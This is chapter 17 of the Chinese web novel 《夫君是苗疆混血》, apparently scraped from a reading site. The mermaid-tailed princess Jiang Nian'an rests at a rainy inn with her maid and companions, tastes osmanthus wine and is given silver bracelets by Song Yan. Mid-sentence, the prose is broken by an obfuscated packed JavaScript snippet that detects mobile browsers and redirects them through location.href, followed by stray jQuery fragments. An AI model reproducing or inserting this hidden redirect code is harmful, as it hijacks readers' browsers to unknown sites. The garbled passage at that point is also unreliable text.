17. Chapter 17

作品:《夫君是苗疆混血

    “哭什么?我又没什么事儿?”


    江念安看着眼睛都哭红了的双玉,有些苦恼地用帕子给人擦了擦眼泪。


    “您的手都受伤了!这叫没事儿?!”双玉指着江念安包扎的手心,痛心疾首地说着:“我当初就不应该留您一个人在水边!”


    说着,又自顾自地擦了擦眼泪。


    江念安失笑,拍了拍双玉的肩膀:“那怎么办呢?当时那种情况,我又没办法从水里回去,是你给我背回去呢?还是咱俩一起干坐着吹一宿的冷风呢?”


    “我...我背您!”双玉咬了咬牙,毅然决然地说着。


    江念安低笑两声:“算了算了,就你这小身板,还想背我啊?”


    “我力气很大的!”双玉有些不服气,但到底还是底气很虚。


    哪怕她力气再大,也抵不过男子的。


    “好了,别再想了,我这不是好好的嘛。”江念安就此打住,看着双玉的核桃眼有些心疼。


    肿成这样了,是冰敷?还是用鸡蛋滚一滚?


    “这是?”


    桌前,裴青看了眼站在宋延身后的小孩。


    出去一趟,带回个孩子?


    这孩子看见了殿下的鱼尾,还跟在他们身边,莫不是跟宋延一个性质?


    他眼神有些狐疑。


    殿下这是又捡人了?


    宋延喝了一杯茶水润润嗓子,瞥了小孩一眼,解释道:“这孩子是苗疆的,一两年前被那歹人带走,嗓音也被毒哑了,这次能救出殿下,他也帮了点忙,索性就带上他,顺带给人送回家。”


    裴青了然,点了点头,没再说什么。


    不会说话好啊,那就不用担心对方乱说话了。


    “他叫什么?”顿了下,裴青礼貌性地问一句,总不能一直称呼人家为小孩吧?


    宋延也是一愣,侧目看了眼身旁的小孩,对方无辜地回望着他。


    叫什么名字啊?


    这家伙说不了话,也不会写字,他也不知道对方姓甚名谁,平时就称呼对方为‘小孩’。


    但是宋延会说自己不知道吗?


    不,他不会。


    他只是垂眸又给杯子里添了些水,故作深沉地说道:“就叫他小孩吧,放心,他听得懂。”


    裴青:“......”


    表情有些空白,这名字是不是有点太随便了吧?


    走在路上这样叫一声,真的不会有一群小孩子回头看他吗?


    他看了眼宋延旁边的小孩,觉得宋延是在忽悠他。


    白奇洛一脸无辜,小孩就小孩吧,反正他知道是在叫他就行。


    名字嘛~


    无所谓啦,想叫什么叫什么~


    “嘶嘶——”


    思思不安分地在宋延身上扭来扭曲,像是在撒娇,又像是在生气。


    宋延抽空瞥了它一眼,颇为无语地起身拿起放在桌上的小瓶子,是他前两天交给双玉的那个。


    “喏。”


    宋延将瓶塞打开,瞬间,一个黑漆漆的残影便从里面冲了出来,速度极快!


    旁边的裴青都没看清这东西是什么,就见思思宛如利剑一般,一个弹射就咬住了刚出狱的小家伙。


    “嘎嘣嘎嘣——”


    让人牙痒痒的清脆动静听的人鸡皮疙瘩掉了一地,裴青嘴角一抽,觉得他没看清挺好的,总觉得不是什么好看的东西。


    思思吃到想要的东西,满意的甩了甩尾巴,趴在宋延头上不动了。


    宋延将瓶塞合上,嘴角含笑地将空瓶子塞入袖口。


    唔...还能二次利用呢。


    一番意外遭遇,吓坏了双玉,江念安也受了点轻伤,几人合计一番,干脆在白水镇多留两天,养养伤,还能缓解一下紧张的情绪。


    翌日一早,天将亮未亮,天空便飘起了零星小雨。


    屋檐下,水珠悬挂,滴落成帘,淅淅沥沥的声音,使人内心平静,催人欲睡。


    过了辰时,雨势渐大,滴答滴答地敲打着屋顶的瓦片。


    啪嗒啪嗒的声音,吵醒了沉睡中的人们。


    江念安难得睡了个舒服的懒觉,过了巳时,才揉着惺忪的睡眼,懒懒翻了个身。


    空气中弥漫着湿漉漉的水汽,闻起来格外清新,身体也跟久旱逢甘霖似的,舒服的直伸懒腰。


    像只睡饱了的猫似的。


    听着窗外淅淅沥沥的雨声,江念安后知后觉的意识到,原来下雨了啊。


    怪不得这么舒服。


    有种想在湖里泡尾巴的冲动。


    屋内十分静谧,双玉不在,江念安懒洋洋地拥着薄被坐了起来。


    如此舒适,仿佛回到了麓山别院,无需为安全问题而担心。


    刚到午时,房门便被轻轻推开,双玉端着一盆温水走了进来。


    见江念安趴在窗边发呆,松了口气,将门用脚轻轻带上,随口说道:“我就猜小姐这会儿肯定是醒了。”


    江念安笑着回头打趣:“睡个懒觉还不够,哪还能睡一天呢。”


    “睡一天也无妨啊。”双玉低头洗着帕子,很是纵容地说道:“外面下雨了,宋公子刚刚出去逛了一圈,说因为下雨的缘故,白水河这会儿的风浪正大,最近两天估计都过不了河了,得看看雨势情况。”


    江念安点了点头,倒也是,雨大的话,风浪也大,过河会有危险。


    “来,擦擦脸。”双玉将温热的湿帕子递给江念安。


    温热的帕子,温度适宜,用着格外舒服,想把脸一直埋在巾帕里。


    擦完了脸,双玉又把香膏递过来,江念安蘸了点香膏,擦擦脸,又抹了抹手,浑身上下都香扑扑的,格外好闻。


    “这一下雨啊,咱们可能要在客栈多留两天了,也不知道什么时候雨才会停。”双玉把帕子放进盆里,洗了洗拧干水,然后晾晒在架子上。


    “感觉一时半会儿不像是会停的样子。”江念安看了眼窗外,外面白蒙蒙的,雨很大,也很密。


    “对呀。”双玉附和地点了点头,擦干了手走到江念安身边:“小姐饿了吗?快晌午了,小姐连早膳都没用呢。”


    “感觉还好。”江念安不觉得很饿,也可能是将将睡醒,所以才没什么感觉。


    双玉点了点头:“小姐要是不饿,那就晚点再吃。”


    知道江念安喜欢雨天,双玉又去把另外两扇窗户半开,让雨气进来,江念安也会舒服一些。


    “白水镇距离苗疆很近,这边的大街上,有很多卖银饰的,就连服装也很好看,跟江都城内是完全不同的两种风格,等日后小姐恢复了,咱们还可以去街上逛逛。”


    双玉说的日后,是从苗疆回来以后,到了那时,江念安的鱼尾应该就能恢复回双腿了。


    “可以啊。”江念安点了点头,来的时候,她就注意到了这一点。


    女孩子穿红戴绿,腰链、手链叮当作响,看的她十分心动,女孩子对这些漂亮东西向来是没有抵抗力的。


    到了中午,裴青端着午膳敲响了房门。


    身旁的白奇洛也端了个托盘,上面是白花花的大米饭,对方小心翼翼地屏住呼吸,生怕自己一个不注意,会把午饭撒了。


    那他就罪过了。


    宋延倒是两手空空,无事一身轻,拎着活泼的思思走在最后关门。


    “这家店饭菜一般,我和裴青专门去不远处的酒楼打包了一些带了回来。”宋延慢悠悠地走在最后,吐槽着这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14503580|154327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家客栈的伙食。


    江念安看了他一眼,眼底有些好奇。


    能被宋延说一般,甚至还要专门去外面带回来,那这家店的菜色得有多难吃?


    双玉倒是颇为认同的点了点头:“却是,在这儿住了两天,也吃了几顿,确实不行,有时候饭菜都是凉的,看着像是隔天剩下的。”


    江念安:“......”


    那这确实不行。


    双玉给江念安单独扒出来两盘菜端到床边,放在小桌上。


    鲛人状态下的小姐行动不便,还是在榻上吃更方便一些。


    “咦?你们还买了桂花酒?”双玉打开酒盅嗅了嗅,眼前一亮。


    一股桂花的浓香,混杂着酒的醇厚味道,想也知道味道不错。


    “酒?快拿来让我尝尝。”一听见有酒,还是桂花酒,江念安就坐不住了,伸长脖子看着双玉,慢延期单。


    若是此时双腿还在,她定不会在这里干坐着,肯定第一时间跑过去了。


    双玉回头,面上泛起清浅的笑意:“急什么?又不会抢了你的。”


    说着,双玉连着酒盅带着酒杯一块抱了过去。


    宋延坐在桌前,单手托腮,好笑地看着这一幕。


    堂堂公主殿下,平时不爱女红刺绣,偏偏学着男子,爱好喝酒。


    当真是与众不同。


    金黄色的酒液导入杯中,醇香的味道扑鼻而来,不用尝就知道味道不错。


    江念安晃了晃杯子,看着晶莹剔透的液体在杯中摇晃,金黄的色泽,像是秋日里的暖阳,让人见之生喜。


    一口入喉,味道也如色泽一般,让人眼前一亮。


    “这酒可以啊。”江念安不禁称赞一句。


    宋延扬眉笑道:“这可是人家酒楼的招牌,能不好喝吗?”


    江念安眨了眨眼睛,低头看了看手中的杯盏,也跟着笑了起来:“那等回京时,我得带一些回去。”


    双玉听得好笑:“孟叔要是看见殿下从外面带回来酒,肯定得伤心死了。”


    “哪有。”江念安失笑:“孟叔的酒在我心里一直是最好的。”


    白奇洛好奇地踮起脚尖看了看对方杯中的金黄色液体。


    酒?真的有这么好喝吗?


    一桌饭菜,不愧是酒楼出品,起码味道一绝。


    听着窗外的连绵雨声,品着陈酿的桂花酒,江念安惬意极了。


    房门轻轻推开,裴青和白奇洛一人端着一摞空盘子走出房间,双玉站在门边笑着说些什么。


    而窗边,宋延漫步尽心地从怀里掏出一个用手帕包住的东西,放在江念安桌前。


    江念安一愣,看着桌上的东西眨了眨眼,笑着抬头问道:“这是什么?送我的吗?”


    宋延双手环胸站在一旁,侧着脸没去看对方,语气含笑,不紧不慢地说道:“刚巧碰见的,不是什么贵重东西。”


    江念安眯了眯眼睛,心底涌上一丝丝暖意。


    挑开手帕,入目之下,是一对银色手钏,上面錾刻着花鸟蝴蝶,看着神秘又复杂,每只手钏下还坠着五六个银色的小铃铛,拿起来的时候,叮叮当当的,声音清脆又好听。


    几乎是入眼的一刹那,江念安就喜欢上了这对手钏。


    因为真的很好看。


    还带有浓重的苗疆色彩,是跟其他玉镯、手串不一样的感觉。


    江念安迫不及待地就往手上戴,纤瘦的手腕,银色的手钏,说不出是人衬得手钏更精致,还是手钏衬得人更漂亮。


    手腕摇啊摇的,铃铛作响,悦耳动听。


    宋延出神地盯着那皓白的手腕,脑中一片空白,最后缓缓浮现出几个大字。


    还挺好看的。